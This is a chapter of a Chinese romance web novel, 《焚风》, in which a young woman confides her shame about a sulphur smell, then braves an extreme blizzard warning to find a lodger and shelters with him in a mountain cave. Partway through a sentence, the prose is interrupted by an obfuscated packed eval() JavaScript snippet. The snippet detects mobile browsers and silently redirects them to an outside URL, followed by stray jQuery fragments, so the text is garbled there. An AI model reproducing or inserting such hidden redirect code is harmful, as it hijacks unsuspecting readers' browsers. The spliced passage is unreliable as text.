14.红色预警
作品:《焚风》 奚临像是没有察觉到任何不妥似的,或者说这是一种礼貌性的接受邀请,以达到让对方不尴尬的目的。
姜柚见不知道是哪一种,至少那晚温泉水在暗灯下静静流淌,他们并没有并肩,而是一人一端,隔着一整个池子,静静地坐在岸上泡脚。
那晚似乎在姜柚见回想起来,硫磺味不再那么引人排斥。
是因为,他身上也沾上了硫磺味吗?
两个人隔着一池温泉水,雾气升起,又被透进的冷风吹散,大家很默契地保持沉默,静听水声。
过了一会儿,奚临忽然开口:“你上次在院子里烧水洗头。”
“嗯。”
“既然有温泉,”他看了一眼水面,“为什么不用这个?”
姜柚见低头看池子的反光,能影影看到些月影,一时语塞。
不知道该如何回答。
最后,她还是如实说:“我其实……不喜欢硫磺味。”
她用脚轻轻搅了一下水面。
“小时候在学校,同学家里从事各种营生,卖肉的,卖烤饼的,开小卖部的……每个人身上都带着自己家里营生的味道,有的是油烟味,有的是香料味,有的是肉的腥味……我身上是硫磺味。”
“洗头的话……味道会留在头发里。”她抬手抓了一下自己的头发,“很难散掉。”
“每个人身上的味道,会被大家讨论,久而久之,我不想让我身上有硫磺味,不想被人开不适宜的玩笑……”
她知道自己应该还是自卑。
人类的一切反常,很多都归结于自卑。
自傲……也是源于自卑。
心中那些别扭,还是自卑。
她不自卑于自己的家境,她自卑于自己的处境,被他人当做弱者。
同学的家长,总说:“看看你多幸福,什么都不用干,当家里的小少爷,柚见就得帮家里干活……”
小孩子会委屈地说:“柚见没有妈妈,她才必须干活……”
“你小点声。”
姜柚见当时还是听到了,某种程度上,似乎不想让干活这个事实被外人知道,因为这件事是她没有妈妈的佐证,她不想让自己显得像个可怜虫。
“你在我身上闻到过硫磺味吗,说实话。”姜柚见强调。
这么问似乎带了些暧昧,不过这是她心里很在乎的。
奚临说:“没有。”
她松了一口气,话题一转,“你在上大学吧?”
他说:“毕业了……”
“……本科?”她通过奚临过分年轻的模样判断的。
“硕士。”
“可是你看着很年轻。”
“水硕,读得快。”他淡淡道。
“哦……”她有些谨慎地回答,不敢再多问。
这些陌生的词汇,像叶若偶尔提到的那些远方的学校、陌生的城市,离骊镇很远,远到她想象力的边界之外。
那一晚,她从来没想过,多年后,她看到了奚临成名后的百度百科,照片上的他站在舞台中央,灯光像星辰一样落下来,上面清晰地介绍到。
毕业于哥伦比亚大学的经济和哲学双专业,本该按照家族的期望接管海外产业,却在大学期间写下第一首歌后,人生轨迹彻底改变……
那晚她想到了舅妈将小费带走的事情。
她说:“小费不是我拿的。”
尽管解释显得多余,但是她还是需要这么说。
希望他……知道。
奚临说:“……我知道的。”
-
暴雪之前下了好几天,路封了好几次,大家已然习惯。
近日天气反而放晴了好几天,有些大胆的人已经带着雪板上山。
太阳照在积雪上,屋檐一排一排挂着融化的冰凌,街上人来人往,年后大家走街串巷,热闹依旧。
惜春馆对面的有个九旬老人坐在门口看了看天:“今年的雪算是下完了。”
松懈的气氛中,山口那边一夜之间刮起很大的风,接着气温骤降。
第二天晚上,姜柚见从外面买菜回家,发现了天气的端倪。
一抬头,天幕变成铁色,第一片雪落了下来,颗粒很大的湿雪。
刚开始还只是零星几片,落在屋檐上,很快化开。
“婆,菜买回来了,我过来帮忙。”她立刻去洗干净手钻进厨房。
忙活到晚上天黑,雪又密了起来,她看了眼沉重的天色,今晚格外安静,因为程爽带着蔡瑞凯出去玩了。
姜柚见自己夹了点菜放在米饭上,上楼一边背单词一边吃。
透过窗户,她看到风卷着雪横着吹,门口的路灯很快就被雪幕侵吞,连十几米外的人影都看不清。
她连忙站起身去独立楼梯,看到顶楼挂着牌子,说明对方外出了。
奚临早出晚归,大家早已习惯。
但是下楼放碗筷的时候,气象站很快发出了红色警告,极端暴雪。
广播喇叭也开始沙哑地回荡着气象台的通告:
“……紧急通知,预计未来六小时,迎来极端天气,请广大居民留在室内,注意防灾,非必要不外出……”
虽然大家前一阵天天担惊受怕,但是极端暴雪迟迟没有降临,天气预报时常不准,但是红色预警,这不是闹着玩的。
“怎么办啊,小爽和小凯还在外面没回来,别贪玩上山了啊。”外婆望着外面忧心忡忡,“还有林先生也还没回来。”
下一秒,舅舅和大姨已经穿上外套拿着手电外出寻找。
刚一出门,就看见一大一小两个身影依偎着顶着风雪慢慢往家行走。
大姨和舅舅连忙上去迎住程爽和蔡瑞凯,“这么冷的天,幸好回来了。”
回到家中,外婆提了一句:“林先生不会还没收到天气警报吧……”
姜柚见马不停蹄拿了手电,上楼拿出自己最厚的衣服套上,全幅武装,扔下了一句我出去找找。
“柚见路上小心啊!”外婆叮嘱道。
家中除了外婆外公以外,只有姜柚见对北山的地形最熟,她还有应对暴雪的经验,她去是最佳的选择。
推开门的时候,风雪几乎是迎面砸过来的。
门板被风吹得“砰”地一声撞在墙上,外面的世界已经变得模糊不清,雪被风卷着打转,如白色的沙尘暴一样。
姜柚见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287829|198121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把围巾往上拉了一点,遮住口鼻,手电的光束在雪幕里只能照出短短一截距离。
院子里的积雪已经没过脚踝。
她没什么犹豫,朝北山的方向走去。
这条路她太熟了,小时候帮外婆送东西,上山捡柴,冬天滑雪,她几乎闭着眼都能找到方向。
可今晚不一样,风太大了,手电的光被雪吞掉,山口的轮廓模糊成一团暗影。
她踩着积雪往上走,接着肌肉记忆来走。
雪咯吱咯吱地响,风从山口流泄下来,迎面阻挡着她前行。
“林先生!”她喊了一声,声音很快被风击碎。
她继续往上走,山路已经快被埋了。
远处雪幕里有一点影子,奚临已经意识到暴雪即将降临,已经收拾好装备下山,却隐隐听见有人在高喊什么。
“林先生!”她喊。
奚临一度以为是自己幻听了,谁知一回头,却看见朝自己跑来的身影。
“今晚有暴雪,我们要马上下山!”她只露出一双眼睛,声音被风吹得不真切。
奚临看着她有点意外,“你怎么也在这里。”
“来找你。”她说得很快,“山路马上就封了,快走。”
她抬头看了一眼天空,雪还在加重,风已经开始卷出小小的雪旋。
她脸色微变,按照她的经验,现在下山还有很长一段,如果半途雪崩两人都会被瞬间掩埋,她立刻做了决定。
“不能下山了。”姜柚见指了指山口。“风向变了,再往下走会很危险。”
“跟我来。”她握住手电,在前面带路。
寻找附近的避雪洞,那是当地人留下来的。
猎人、放羊的人、滑雪的人,遇到暴雪的时候都会躲进去。
她带着他往侧面的林子里走,雪渐深,脚步踩进去几乎要到小腿。
风声在树林里呼啸,如地狱厉鬼的嚎叫。
走了大概十几分钟,她停下来,手电照过去,一块巨大的岩壁下方有个黑漆漆的洞口。
洞里很深,洞口被几块石头和木板挡住了一半,一进去,风声立刻小了很多。
洞里面堆着一些干柴,几只旧铁桶和几条毛毯。
姜柚见把手电放下,呼了一口气,搓着手,用木门把洞口堵住,防寒。
她熟练地把干柴拢在一起,拿出打火机点燃,火很快烧起来。
洞内慢慢暖起来,光源也是这一个火堆,火光在岩壁上跳动。
洞里有一股木柴和潮湿岩石混在一起的味道。
姜柚见坐下来,把毛毯递给他,“这里暴雪的时候用来避难,等雪小了我们再出去。”
她这时才发现自己的手在发抖,刚才一直在赶路,现在停下来,寒气才慢慢爬上来。
奚临坐在对面,火光照在他脸上。
两个人之间隔着一小堆火。
外面的暴雪越来越猛,风声像巨浪一样在山林里翻滚。
她忽然意识到,今晚他们大概下不了山了。
姜柚见抬头看了他一眼。
“看来……”她判断了一下天气,忧心忡忡地说,“我们得在这里待一晚了……”

